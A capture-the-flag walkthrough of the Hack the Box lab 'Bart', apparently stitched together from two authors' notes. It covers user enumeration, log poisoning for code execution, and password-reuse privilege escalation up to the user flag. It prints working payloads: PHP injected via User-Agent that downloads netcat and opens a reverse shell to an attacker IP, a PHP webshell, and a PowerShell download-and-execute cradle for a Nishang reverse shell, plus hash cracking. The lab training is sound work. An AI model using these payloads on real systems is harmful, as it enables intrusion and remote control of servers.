Today we are going to solve another CTF challenge “Bart” which is available online for those who want to increase their skill in penetration testing and black box testing. Bart is retired vulnerable lab presented by Hack the Box for making online penetration practices according to your experience level; they have the collection of vulnerable labs as challenges from beginners to Expert level.
Level: Expert
Task: find user.txt and root.txt file on victim’s machine.
Since these labs are online available therefore they have static IP and IP of sense is 10.10.10.81 so let’s begin with nmap port enumeration.
C:\Users\jacco>nmap -sV -sC 10.10.10.81 Starting Nmap 7.70 ( https://nmap.org ) at 2019-03-04 20:24 W. Europe Standard Time Nmap scan report for bart.htb (10.10.10.81) Host is up (0.031s latency). Not shown: 999 filtered ports PORT STATE SERVICE VERSION 80/tcp open http Microsoft IIS httpd 10.0 | http-methods: |_ Potentially risky methods: TRACE |_http-server-header: Microsoft-IIS/10.0 |_http-title: Did not follow redirect to http://forum.bart.htb/ Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . Nmap done: 1 IP address (1 host up) scanned in 26.85 seconds
Enumeration Port 80 (forum.bart.htb (wordpress))
From our nmap scan we can that we are being redirected automatically to forum.bart.htb. Since htb doesn’t have global dns, we aren’t going to be able to resolve the site. We can add a dns entry in our /etc/hosts file to point 10.10.10.81 to both bart.htb and forum.bart.htb.
Visiting forum.bart.htb in a browser brings us to a WordPress site.
Attempting to access the WordPress login page ends up with an error: "The page cannot be displayed because an internal server error has occurred." This is strange because there’s not much else going on with the site. Likely is might be some sort of rabbit hole.
Running gobuster on forum.bart.htb doesn't reveal anything extremely interesting. Thinking that maybe there is some hidden content with the site, we mirror the site with wget, and search for interesting content like emails, extra domain names, or hidden pages.
We were able to discover a few potential emails/usernames but nothing that stood out blindly. We did notice that the bart developer Harvey Potter h.potter@bart.htb is the only member of the team not displayed on the main site, but who’s information is stored in a comment on the page.
mirroring site locally
root@kali:~/htb/bart/bart_wpsite# wget -r http://forum.bart.htb
root@kali:~/htb/bart/bart_wpsite# grep -RiP "bart" forum.bart.htb/
forum.bart.htb/index.html:<title>BART</title>
forum.bart.htb/index.html:<link rel='stylesheet' id='sydney-ie9-css' href='http://forum.bart.htb/wp-content/themes/sydney/css/ie9.css?ver=4.8.2' type='text/css' media='all' />
forum.bart.htb/index.html: <h1 class="site-title"><a href="#" rel="home">BART</a></h1>
forum.bart.htb/index.html: <div class="pos">CEO@BART</div>
forum.bart.htb/index.html: <li><a class="mail" href="mailto:s.brown@bart.local" target="_blank"><i class="fa">M</i></a></li>
forum.bart.htb/index.html: <div class="pos">CEO@BART</div>
forum.bart.htb/index.html: <li><a class="mail" href="mailto:d.simmons@bart.htb" target="_blank"><i class="fa">M</i></a></li>
forum.bart.htb/index.html: <li><a class="mail" href="mailto:r.hilton@bart.htb" target="_blank"><i class="fa">M</i></a></li>
forum.bart.htb/index.html: <div class="pos">Developer@BART</div>
forum.bart.htb/index.html: <li><a class="mail" href="mailto:h.potter@bart.htb" target="_blank"><i class="fa">M</i></a></li>
forum.bart.htb/index.html:
...[snip]...
better grep or extract email addresses
root@kali:~/htb/bart/bart_wpsite# grep -RiE -o "\b[a-zA-Z0-9.-]+@[a-zA-Z0-9.-]+\.[a-zA-Z0-9.-]+\b"
forum.bart.htb/index.html:s.brown@bart.local
forum.bart.htb/index.html:d.simmons@bart.htb
forum.bart.htb/index.html:r.hilton@bart.htb
forum.bart.htb/index.html:h.potter@bart.htb
forum.bart.htb/index.html:info@bart.htb
forum.bart.htb/index.html:info@bart.htb
Discovering Monitoring Portal with Wfuzz
We can use wfuzz as our directory brute forcer, and filter the results based on a character count baseline. As you can see below, the resulting error page wfuzz detects as having 158607 characters in the response. We can use this as our baseline and ignore all responses that have 158607 ch in them, which in turn would only show us pages that are different (unique content) with the --hh flag.
root@kali:~/htb/bart# wfuzz -z file,/usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -u http://bart.htb/FUZZ/ Warning: Pycurl is not compiled against Openssl. Wfuzz might not work correctly when fuzzing SSL sites. Check Wfuzz's documentation for more information. ******************************************************** * Wfuzz 2.3.3 - The Web Fuzzer * ******************************************************** Target: http://bart.htb/FUZZ/ Total requests: 220560 ================================================================== ID Response Lines Word Chars Payload ================================================================== 000001: C=302 0 L 0 W 0 Ch "# directory-list-2.3-medium.txt" 000004: C=302 0 L 0 W 0 Ch "#" 000010: C=302 0 L 0 W 0 Ch "#" 000006: C=302 0 L 0 W 0 Ch "# Attribution-Share Alike 3.0 License. To view a copy of this" 000009: C=302 0 L 0 W 0 Ch "# Suite 300, San Francisco, California, 94105, USA." 000005: C=302 0 L 0 W 0 Ch "# This work is licensed under the Creative Commons" 000008: C=302 0 L 0 W 0 Ch "# or send a letter to Creative Commons, 171 Second Street," 000007: C=302 0 L 0 W 0 Ch "# license, visit http://creativecommons.org/licenses/by-sa/3.0/" 000002: C=302 0 L 0 W 0 Ch "#" 000011: C=302 0 L 0 W 0 Ch "# Priority ordered case sensative list, where entries were found" 000012: C=302 0 L 0 W 0 Ch "# on atleast 2 different hosts" 000013: C=302 0 L 0 W 0 Ch "#" 000014: C=302 0 L 0 W 0 Ch "" 000003: C=302 0 L 0 W 0 Ch "# Copyright 2007 James Fisher" 000019: C=200 630 L 5628 W 150693 Ch "news" 000024: C=200 630 L 5628 W 150693 Ch "12" 000015: C=200 630 L 5628 W 150693 Ch "index" 000022: C=200 630 L 5628 W 150693 Ch "warez" 000016: C=200 630 L 5628 W 150693 Ch "images" 000017: C=200 630 L 5628 W 150693 Ch "download" 000018: C=200 630 L 5628 W 150693 Ch "2006" 000020: C=200 630 L 5628 W 150693 Ch "crack" 000030: C=200 630 L 5628 W 150693 Ch "11"
Using Wfuzz to hide the error page responses
root@kali:~/htb/bart# wfuzz -z file,/usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -u http://bart.htb/FUZZ/ --hh 150693 Warning: Pycurl is not compiled against Openssl. Wfuzz might not work correctly when fuzzing SSL sites. Check Wfuzz's documentation for more information. ******************************************************** * Wfuzz 2.3.3 - The Web Fuzzer * ******************************************************** Target: http://bart.htb/FUZZ/ Total requests: 220560 ================================================================== ID Response Lines Word Chars Payload ================================================================== 000007: C=302 0 L 0 W 0 Ch "# license, visit http://creativecommons.org/licenses/by-sa/3.0/" 000001: C=302 0 L 0 W 0 Ch "# directory-list-2.3-medium.txt" 000002: C=302 0 L 0 W 0 Ch "#" 000003: C=302 0 L 0 W 0 Ch "# Copyright 2007 James Fisher" 000004: C=302 0 L 0 W 0 Ch "#" 000005: C=302 0 L 0 W 0 Ch "# This work is licensed under the Creative Commons" 000006: C=302 0 L 0 W 0 Ch "# Attribution-Share Alike 3.0 License. To view a copy of this" 000008: C=302 0 L 0 W 0 Ch "# or send a letter to Creative Commons, 171 Second Street," 000009: C=302 0 L 0 W 0 Ch "# Suite 300, San Francisco, California, 94105, USA." 000010: C=302 0 L 0 W 0 Ch "#" 000011: C=302 0 L 0 W 0 Ch "# Priority ordered case sensative list, where entries were found" 000013: C=302 0 L 0 W 0 Ch "#" 000012: C=302 0 L 0 W 0 Ch "# on atleast 2 different hosts" 000014: C=302 0 L 0 W 0 Ch "" 000067: C=200 548 L 2412 W 35529 Ch "forum" 001614: C=200 80 L 221 W 3423 Ch "monitor" 002385: C=200 548 L 2412 W 35529 Ch "Forum" 002869: C=200 630 L 5628 W 150693 Ch "1441"^C Finishing pending requests...
From our results we can see that there’s content being served from the “forum” and “monitor” directories with the forum being forum.bart.htb
monitor.bart.htb
Visting monitor.bart.htb in our browser reveals the application “PHP Server Monitor v3.2.1”.
After trying the usual hack the box username:password combinations with no luck we begin looking for another avenue to get into this application. PHP monitor has a password reset function, which only takes a username. When you attempt to do a password reset on a user that doesn’t exist you get the following error.
With this knowledge we can attempt to enumerate usernames in a targeted manner using the information gathered from forum.bart.htb.
I compiled a short list of possible user names from the site:
potential usernames compiled from forum.bart.htb
root@kali:~/htb/bart# cat names.txt
s.brown@bart.local
d.simmons@bart.htb
r.hilton@bart.htb
h.potter@bart.htb
info@bart.htb
s.brown
d.simmons
r.hilton
h.potter
info
samantha
brown
daniel
simmons
robert
hilton
harvey
potter
We can use burpsuite intruder coupled with the simple list payload to perform this attack.
This is how we can set up burpsuite intruder to perform our attack.
From the results of our intruder attack we see that we have two valid usernames harvey and daniel.
After some educated guessing you will discover a valid username:password combination of harvey:potter.
When you attempt to authenticate you are redirected to monitor.bart.htb which fails to resolve similar to forums. We add monitor.bart.htb to our /etc/hosts file and attempt to reauthenticate with our newly found credentials.
After we re-authenticate we are greeted with the following page.
Browsing around you see there is an entry for the “Internal Chat” service
Viewing the details of “Internal Chat” reveals that there is another application on a different domain “internal-01.bart.htb”
Exploitation
Simple Chat Source Code Discovery & Account Registration
Visting internal-01.bart.htb in our browser reveals the login page of bart’s internal “dev chat”.
while running gobuster & sqlmap in the background if you did some googling on “simple chat” you will discover the following github repo https://github.com/magkopian/php-ajax-simple-chat. To validate that these two applications are the same, I inspected the css/chat_global.css file and sure enough it was the same application. Looking at the application’s code we see that’s there is registration functionality. The application doesn’t directly give you an option to register for an account, but it seems shoddily built so likely we can try manually crafting the request to register the account and hope nothing changed (we know the location and the parameters required to register an account from auditing the register.php source code).
Sure enough, we are able to register an account with a username:password of puck:puckiestyle on the internal dev chat by crafting our request just right.
We’ll use curl to create an account and get access to the site:
C:\Users\jacco>curl -X POST http://internal-01.bart.htb/simple_chat/register.php -d "uname=puckie&passwd=puckiestyle"
And we are in:
Getting RCE through LFI & Log Poisoning
Clicking the log link will cause two alerts to appear that seemly do nothing. Inspecting the original application code, there are no references to a “log” functionality so this must be a 3rd party modification. After some fiddling & inspecting the request history in burp suite, you will see that the application will record the username & your user-agent in a log file as seen below.
Since we can control what our user agent is we can use this to execute php code by visiting the log file page.
GET /log/log.php?username=harvey&filename=log.php HTTP/1.1
Host: internal-01.bart.htb
User-Agent: <?php echo exec("powershell -command \"(New-Object System.Net.WebClient).DownloadFile('http://10.10.14.20/nc.exe','nc.exe')\""); ?>
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: nl,en-US;q=0.7,en;q=0.3
Accept-Encoding: gzip, deflate
Connection: close
Cookie: PHPSESSID=7iolgpinpbgb51oo15qjntsm2k
Upgrade-Insecure-Requests: 1
Cache-Control: max-age=0
To speed this up I recommend having 2-3 repeater tabs open. One to input commands into, and one to visit the page to trigger the execution.
We upload & execute a 64-bit netcat binary onto the machine (important for later) so we can get an interactive shell.
I injected the following code into the user agent field. Make sure you remember to escape the \.
<?php echo exec("powershell -command \"(New-Object System.Net.WebClient).DownloadFile('http://10.10.14.20/nc64.exe','nc64.exe')\""); ?><?php exec("nc64.exe 10.10.14.20 443 -e cmd.exe"); ?>getting shell
C:\Users\jacco>nc64.exe -lvp 443 listening on [any] 443 ... connect to [10.10.14.20] from bart.htb [10.10.10.81] 50207 Microsoft Windows [Version 10.0.15063] (c) 2017 Microsoft Corporation. All rights reserved. C:\inetpub\wwwroot\internal-01\log>powershell powershell Windows PowerShell Copyright (C) 2016 Microsoft Corporation. All rights reserved. Cannot load PSReadline module. Console is running without PSReadline. PS C:\inetpub\wwwroot\internal-01\log> [System.Environment]::Is64BitOperatingSystem [System.Environment]::Is64BitOperatingSystem True PS C:\inetpub\wwwroot\internal-01\log> [System.Environment]::Is64BitProcess [System.Environment]::Is64BitProcess False PS C:\inetpub\wwwroot\internal-01\log> whoami whoami nt authority\iusr PS C:\inetpub\wwwroot\internal-01\log>
Log Poisoning
Looking at the source, there’s added code compared to the github repo:
<div id="log_link">
<script>
function saveChat() {
// create a serialized object and send to log_chat.php. Once done hte XHR request, alert "Done"
var xhr = new XMLHttpRequest();
xhr.onreadystatechange = function() {
if (xhr.readyState == XMLHttpRequest.DONE) {
alert(xhr.responseText);
}
}
xhr.open('GET', 'http://internal-01.bart.htb/log/log.php?filename=log.txt&username=harvey', true);
xhr.send(null);
alert("Done");
}
</script>
<a href="#" onclick="saveChat()">Log</a>
</div>
When the user clicks the Log link, there’s a popup saying “Done”, and then one saying “1”. That’s because the xhr.open function is called with the 3rd parameter true, which sets the call to async mode. The script then alerts “Done”, and then, when the http request comes back, the xhr.onreadystatechange function is called, which alerts with the response text.
Checking out the url that’s being called, if viewed directly, it outputs just the number 1, as seen in the popup.
If you change the file parameter to a file that already exists and we can’t write over (like the page source), it returns 0. Also, if you change it to a user that doesn’t exist, it returns 0. What about the file? Turns out that file is available in the same directory:
[2018-02-21 22:35:17] - harvey - Mozilla/5.0 (X11; Linux x86_64; rv:52.0) Gecko/20100101 Firefox/52.0
Each time someone visits log.php, it appears to record the time, the username argument, and their useragent string.
So let’s see if we can get execution by writing to phpinfo.php with useragent <?php phpinfo(); ?>.
root@kali:~/hackthebox/bart-10.10.10.81# python3
Python 3.6.5rc1 (default, Mar 14 2018, 06:54:23)
[GCC 7.3.0] on linux
Type "help", "copyright", "credits" or "license" for more information.
>>> import requests
>>> proxies={'http':'http://127.0.0.1:8080'}
>>> headers={'User-Agent':'0xdf: <?php phpinfo(); ?>'}
>>> r = requests.get('http://internal-01.bart.htb/log/log.php?filename=phpinfo.php&username=harvey', proxies=proxies, headers=headers)
Then visit http://internal-01.bart.htb/log/phpinfo.php:
PHP Webshell
So a webshell is possible:
>>> headers={'User-Agent':"0xdf: <?php system($_REQUEST['cmd']); ?>"}
>>> r = requests.get('http://internal-01.bart.htb/log/log.php?filename=0xdf.php&username=harvey', proxies=proxies, headers=headers)
root@kali:~/hackthebox/bart-10.10.10.81# curl http://internal-01.bart.htb/log/0xdf.php?cmd=whoami
[2018-04-28 22:55:12] - harvey - 0xdf: nt authority\iusr
Nishang Invoke-PowerShellTcp Shell
Time for a real shell. Grab Invoke-PowerShellTcp.ps1 from Nishang, and add a line to the end:
root@kali:~/hackthebox/bart-10.10.10.81# cp /opt/powershell/nishang/Shells/Invoke-PowerShellTcp.ps1 .
root@kali:~/hackthebox/bart-10.10.10.81# tail -1 Invoke-PowerShellTcp.ps1
Invoke-PowerShellTcp -Reverse -IPAddress 10.10.15.48 -Port 4444
Give webshell powershell to get interactive shell and run it, and get shell:
>>> cmd = "powershell IEX(New-Object Net.WebClient).downloadString('http://10.10.15.48:8083/Invoke-PowerShellTcp.ps1')"
>>> r = requests.get('http://internal-01.bart.htb/log/0xdf.php?cmd={}'.format(cmd), proxies=proxies)
root@kali:~/hackthebox/bart-10.10.10.81# python -m SimpleHTTPServer 8083
Serving HTTP on 0.0.0.0 port 8083 ...
10.10.10.81 - - [28/Apr/2018 16:09:12] "GET /Invoke-PowerShellTcp.ps1 HTTP/1.1" 200 -
root@kali:~/hackthebox/bart-10.10.10.81# nc -lnvp 4444
listening on [any] 4444 ...
connect to [10.10.15.48] from (UNKNOWN) [10.10.10.81] 49673
Windows PowerShell running as user BART$ on BART
Copyright (C) 2015 Microsoft Corporation. All rights reserved.
PS C:\inetpub\wwwroot\internal-01\log>whoami
nt authority\iusr
Privilege Escalation
Since we only have a low-privilege user for now, let’s focus on enumerating the files under C:\inetpub\wwwroot folder.
Browsing through the different files on the sub-directories, we can see some interesting files that contains configuration and credentials.
Found a db config file C:\inetpub\wwwroot\internal-01\simple_chat\includes\dbconnect.php
C:\inetpub\wwwroot\internal-01\simple_chat\includes>type dbconnect.php
type dbconnect.php
/**********************************************\
* Copyright (c) 2013 Manolis Agkopian *
* See the file LICENCE for copying permission. *
\**********************************************/
if (!defined('INCLUDED')){
define('INCLUDED',true);
require 'markup_func.php';
header('HTTP/1.1 403 Forbidden');
do_html_403();
die();
}
function db_connect() {
$con = @mysqli_connect('localhost', 'harvey', '!IC4nB3Th3B3st?', 'internal_chat');
if ($con === false) {
return false;
}
mysqli_set_charset ($con , 'UTF-8');
return $con;
}
Let’s try to login to the database and enumerate using the credentials (harvey:!IC4nB3Th3B3st?) specified on the file .
C:\inetpub\wwwroot\internal-01\simple_chat\includes>mysql -uharvey -p!IC4nB3Th3B3st? -e "show databases;"
mysql -uharvey -p!IC4nB3Th3B3st? -e "show databases;"
Database
information_schema
internal_chat
C:\inetpub\wwwroot\internal-01\simple_chat\includes>mysql -uharvey -p!IC4nB3Th3B3st? -e "show tables;" internal_chat
mysql -uharvey -p!IC4nB3Th3B3st? -e "show tables;" internal_chat
Tables_in_internal_chat
message
user
C:\inetpub\wwwroot\internal-01\simple_chat\includes>mysql -uharvey -p!IC4nB3Th3B3st? -e "select * from user;" internal_chat
mysql -uharvey -p!IC4nB3Th3B3st? -e "select * from user;" internal_chat
uid uname passwd
1 harvey faeff13072fffdb78ec3b08427678f18295ee28b8b0befc63eea2135eee85df3
2 bobby e15929d8ce341f2dfa07ac7a0b6f32379e43868631f2aebc05a3a97b235d6dcc
3 daniel f7dbfae1e05efda233b872e9b7f709d3a0f1b042813be01d7e5b9e9788c7c801
Ok. We got some password hashes. But no matter how much time we spend on cracking this, we won’t be successful. The reason for this is because the password is salted. We can see a hard coded salt on another interesting file.
C:\inetpub\wwwroot\internal-01\simple_chat\includes> type validation_func.php
type validation_func.php
<?php
function validate_password ($passwd) {
$passwd = trim($passwd); //ignore white-space on start or the end of the password
if (validate_len($passwd, 'inf', 8) === false) {
return false;
}
$salt = '8h@tr-waswe_aT#9TaCHuPhU'; //for security reasons please replace this string with your own random string (before attempt to register any user)
return hash('sha256', $passwd.$salt); //return sha256 hash of the salted password
return $passwd;
}
With this information, we can try to crack the password hashes using hashcat and the hard-coded salt we found.
First, let’s prepare the input file for hashcat.
root@loki:~# nano sha256.hash
root@loki:~# cat sha256.hash
faeff13072fffdb78ec3b08427678f18295ee28b8b0befc63eea2135eee85df3:8h@tr-waswe_aT#9TaCHuPhU
e15929d8ce341f2dfa07ac7a0b6f32379e43868631f2aebc05a3a97b235d6dcc:8h@tr-waswe_aT#9TaCHuPhU
f7dbfae1e05efda233b872e9b7f709d3a0f1b042813be01d7e5b9e9788c7c801:8h@tr-waswe_aT#9TaCHuPhU
root@loki:~# hashcat -m 1410 sha256.hash /usr/share/wordlists/rockyou.txt
hashcat (v3.5.0) starting...
<----------------------------TRUNCATED---------------------------------->
Recovered........: 1/3 (33.33%) Digests, 0/1 (0.00%) Salts
Progress.........: 14343296/14343296 (100.00%)
Rejected.........: 2006/14343296 (0.01%)
Restore.Point....: 14343296/14343296 (100.00%)
Candidates.#1....: $HEX[3139303731393638] -> $HEX[042a0337c2a156616d6f732103]
HWMon.Dev.#1.....: Temp: 49c Util: 48% Core: 901MHz Mem: 900MHz Bus:8
root@loki:~# hashcat -m 1410 sha256.hash /usr/share/wordlists/rockyou.txt --show
faeff13072fffdb78ec3b08427678f18295ee28b8b0befc63eea2135eee85df3:8h@tr-waswe_aT#9TaCHuPhU:Password1
We cracked the password for harvey! But we already know this one. As of now, we have 3 potential passwords used by harvey: (1) potter, (2) Password1, (3) !IC4nB3Th3B3st? So let’s proceed to checking if harvey reuses his passwords.
Before we forget, let’s first confirm if harvey really has an OS account on the machine.
C:\inetpub\wwwroot\internal-01\log>net users
net users
User accounts for \\
-------------------------------------------------------------------------------
Administrator b.hilton d.simmons
DefaultAccount Guest h.potter
privileged
The command completed with one or more errors.
Yup. Harvey’s account is h.potter. Next, let’s check some information for Harvey’s account.
C:\inetpub\wwwroot\internal-01\log>net user h.potter
net user h.potter
User name h.potter
Full Name Harvey Potter
Comment
User's comment
Country/region code 000 (System Default)
Account active Yes
Account expires Never
Password last set 21/02/2018 20:53:00
Password expires 04/04/2018 20:53:00
Password changeable 21/02/2018 20:53:00
Password required Yes
User may change password Yes
Workstations allowed All
Logon script
User profile
Home directory
Last logon 29/03/2018 15:50:28
Logon hours allowed All
Local Group Memberships *PowerShell Session Users
*Remote Management Users
*Users
Global Group memberships *None
The command completed successfully.
As you can see, Harvey’s account is a member of the PowerShell Session Users and Remote Management Users group. Membership to both of this groups allow Harvey’s account to do PowerShell Remoting via WinRM.
Let’s confirm and check if the WinRM port (TCP 47001) is listening.
C:\inetpub\wwwroot\internal-01\log>netstat -ano
netstat -ano
Active Connections
Proto Local Address Foreign Address State PID
TCP 0.0.0.0:80 0.0.0.0:0 LISTENING 4
TCP 0.0.0.0:135 0.0.0.0:0 LISTENING 856
TCP 0.0.0.0:445 0.0.0.0:0 LISTENING 4
TCP 0.0.0.0:3306 0.0.0.0:0 LISTENING 1844
TCP 0.0.0.0:5985 0.0.0.0:0 LISTENING 4
TCP 0.0.0.0:47001 0.0.0.0:0 LISTENING 4
TCP 0.0.0.0:49664 0.0.0.0:0 LISTENING 500
TCP 0.0.0.0:49665 0.0.0.0:0 LISTENING 308
TCP 0.0.0.0:49666 0.0.0.0:0 LISTENING 996
TCP 0.0.0.0:49667 0.0.0.0:0 LISTENING 1568
TCP 0.0.0.0:49668 0.0.0.0:0 LISTENING 648
TCP 0.0.0.0:49669 0.0.0.0:0 LISTENING 620
<------------------------------TRUNCATED----------------------------------->
Confirmed!
Next, we’ll use powershell to try and login as h.potter on the target machine.
C:\inetpub\wwwroot\internal-01\log>powershell.exe
powershell.exe
Windows PowerShell
Copyright (C) 2016 Microsoft Corporation. All rights reserved.
Cannot load PSReadline module. Console is running without PSReadline.
PS C:\inetpub\wwwroot\internal-01\log>
PS C:\inetpub\wwwroot\internal-01\log> $username = 'BART\h.potter'
PS C:\inetpub\wwwroot\internal-01\log> $securePassword = ConvertTo-SecureString -AsPlainText -Force 'Password1'
PS C:\inetpub\wwwroot\internal-01\log> $credential = New-Object System.Management.Automation.PSCredential $username, $securePassword
PS C:\inetpub\wwwroot\internal-01\log> Enter-PSSession -ComputerName localhost -Credential $credential
[localhost]: PS C:\Users\h.potter\Documents> whoami
whoami
bart\h.potter
Using the password “Password1” allows us to login as h.potter
Let’s proceed to capture the user flag.
[localhost]: PS C:\Users\h.potter\Documents> cmd.exe /c "type ..\user.txt" 625*****30f